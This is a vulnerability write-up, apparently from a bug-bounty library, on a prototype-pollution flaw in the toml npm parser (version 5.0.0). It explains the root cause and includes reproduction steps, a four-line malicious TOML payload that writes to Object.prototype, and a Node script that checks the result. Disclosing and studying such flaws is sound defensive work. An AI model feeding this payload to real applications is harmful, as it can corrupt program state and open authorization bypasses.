# toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

Ambiguous key-path quoting plus a missing owned-container check in toml-node lets a 4-line TOML document walk a Date's prototype chain to pollute Object.prototype.

- Payout: Research
- Severity: high
- Program: toml-node
- Found by: b1ue0ceanRun
- Disclosed: 2026-10-22
- CVE: CVE-2026-114142
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-h895-cgqg-jf52
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h895-cgqg-jf52
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:prototype-pollution

**Target:** npm toml parser (lib/compiler.js)
**Root cause:** quoteDottedString() only quotes segments containing '.' and never escapes embedded quotes, so distinct key paths render identically; addTableArray() then clears an unrelated key's guard via isSameOrSubPath on those strings. assign() descends into the final container without isOwnedContainer(), and a TOML datetime (Date) passes the shape test, giving a live chain to Object.prototype.
**Steps:**
1. Install toml@5.0.0: `npm install toml@5.0.0`
2. Create poc.toml with `"b.c" = 1979-05-27T07:32:00Z` (Date value, rendered path `"b.c"`)
3. Add table-array header `[['"b']]` whose rendered path collides, clearing the key's guard
4. Add `["b.c"]` to re-enter the key so the current table is the Date
5. Add `__proto__.__proto__.polluted = "yes"` to walk Date -> Date.prototype -> Object.prototype
6. Run `toml.parse(fs.readFileSync('poc.toml','utf8'))`; observe `({}).polluted === "yes"` and `JSON.parse('{}').polluted === "yes"`
**How found:** Followed up on CVE-2026-63376's __proto__ key-path desynchronization fix (4.1.2, ownedContainers WeakSet): noticed quoteDottedString() doesn't escape quotes, so the same desync is reachable with a quote instead of a dot; noticed isOwnedContainer() is only applied to intermediate segments in deepRef(), not the final container; noticed a Date satisfies the shape test and has a live prototype chain. Control test: removing the guard-clearing header makes 4.1.2+ reject the doc, confirming that step is load-bearing.
**Exploitation:** Attacker supplies a TOML document (uploaded config, third-party manifest, API payload) to any app calling toml.parse(); parsing alone writes an attacker-chosen property onto Object.prototype, inherited by every object in the process. Escalation to authz bypass, DoS, or RCE depends on gadgets in the host app.
**Escalation:** Inherited property on Object.prototype can flip auth checks, break logic, or reach RCE via app gadgets; the PoC only sets a marker.
**Insight:** When a fix adds an ownership check, verify it covers the terminal container, not just intermediate hops; and audit path-serialization helpers for unescaped delimiters — any non-Date object with a live prototype chain (Date, RegExp, Map) can serve as the descent pivot.

## Proof of concept (copied exactly from the original report)

**Malicious TOML document that pollutes Object.prototype**

```
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```

**Node script parsing the PoC and checking pollution**

```
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```

